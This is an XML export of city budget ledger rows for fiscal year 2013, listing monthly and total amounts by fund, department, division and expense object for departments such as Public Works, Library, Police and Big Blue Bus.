<row _id="444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14630.0</total></row>
<row _id="445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3453129.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34531</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3487660.0</total></row>
<row _id="447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16421.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16421.0</total></row>
<row _id="449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>124800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>124800.0</total></row>
<row _id="450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>311.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>311.0</total></row>
<row _id="452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8200.0</total></row>
<row _id="454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3754354.0</july><august>0</august><september>0.0</september><october>13747.0</october><november>0</november><december>0</december><january>0.0</january><february>37681</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3805782.0</total></row>
<row _id="457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>138016.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1380</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>139396.0</total></row>
<row _id="458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>475650.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>475650.0</total></row>
<row _id="459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>31938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31938.0</total></row>
<row _id="462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>28000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-197872.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>61018</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-136854.0</total></row>
<row _id="464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-92000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-92000.0</total></row>
<row _id="465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>992677.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>992677.0</total></row>
<row _id="466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>888759.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>888759.0</total></row>
<row _id="467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>850000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>850000.0</total></row>
<row _id="468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522060.0</object><object_description>COURT FILING FEES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522090.0</object><object_description>MISCELLANEOUS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250000.0</total></row>
<row _id="470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>260282.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2603</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>262885.0</total></row>
<row _id="472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2825.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2825.0</total></row>
<row _id="473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>136590.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>136590.0</total></row>
<row _id="475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5800.0</total></row>
<row _id="476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12636.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12636.0</total></row>
<row _id="477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4850.0</total></row>
<row _id="479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72800.0</total></row>
<row _id="480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44200.0</total></row>
<row _id="481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>65100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65100.0</total></row>
<row _id="482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2212232.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22122</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2234354.0</total></row>
<row _id="483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-355.5</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-355.5</total></row>
<row _id="485"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1020.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1020.0</total></row>
<row _id="486"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1955</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>201955.0</total></row>
<row _id="487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>109329.2</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>109329.2</total></row>
<row _id="489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>695600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>695600.0</total></row>
<row _id="491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>666368.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>666368.0</total></row>
